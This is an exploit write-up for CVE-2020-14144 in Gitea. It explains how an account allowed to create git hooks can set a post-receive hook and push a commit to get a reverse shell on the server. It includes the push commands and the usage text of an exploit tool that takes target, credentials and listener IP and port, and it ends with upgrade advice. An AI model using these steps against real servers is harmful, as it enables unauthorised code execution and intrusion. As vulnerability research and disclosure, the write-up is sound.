Exploiting CVE-2020-14144 - GiTea Authenticated Remote Code Execution using git hooks

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer environments where the documentation was not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file).

NOTE: The vendor has indicated this is not a vulnerability and states “This is a functionality of the software that is limited to a very limited subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides.

In order to exploit this vulnerability/feature, we need to have a GiTea account with the “May create git hooks” rights activated.

A github issue was opened and fixed in version 1.13.0

Exploitation

In order to successfully exploit this vulnerability/feature, the target server GiTea version should be between version 1.1.0 and version 1.13, and you need a valid account (username, password) with “May create git hooks” rights activated.

Account with “May create git hooks” rights activated

From a system administration point of view, the gitea process looks like this before the exploitation :

Service status before exploit

First of all, we need to create a repository on the GiTea web interface, using our account. We create the repository and we go into Settings -> Git Hooks -> Post Receive Hook. In this hook you can write a shell script that will be executed after receiving a new commit.

Post Receive Hook

Now we will create a temporary directory on our attacking machine, and push to the remote repository. It will trigger the Post Receive Hook script.

touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master

After we pushed the commit to the remote repository, it will trigger the Post Receive Hook script and we will have a reverse shell !

Reverse Shell

After the exploitation, a system administrator can easily see our detached reverse shell in the child processes of GiTea :

Service status after exploit

Writting an exploit tool

$ ./gitea_CVE-2020-14144.py -h
    _____ _ _______
   / ____(_)__   __|             CVE-2020-14144
  | |  __ _   | | ___  __ _
  | | |_ | |  | |/ _ \/ _` |     Authenticated Remote Code Execution
  | |__| | |  | |  __/ (_| |
   \_____|_|  |_|\___|\__,_|     GiTea versions >= 1.1.0 to <= 1.12.5

usage: gitea_CVE-2020-14144.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]

Process some integers.

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Increase verbosity.
  -t TARGET, --target TARGET
                        Target host (http://..., https://... or domain name)
  -u USERNAME, --username USERNAME
                        GiTea username
  -p PASSWORD, --password PASSWORD
                        GiTea password
  -I REV_IP, --rev-ip REV_IP
                        Reverse shell listener IP
  -P REV_PORT, --rev-port REV_PORT
                        Reverse shell listener port
  -f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
                        Path to shell script payload to use.

The full script is available here.

Recommendations:

It is recommended to update to version 1.13.0.

Additional references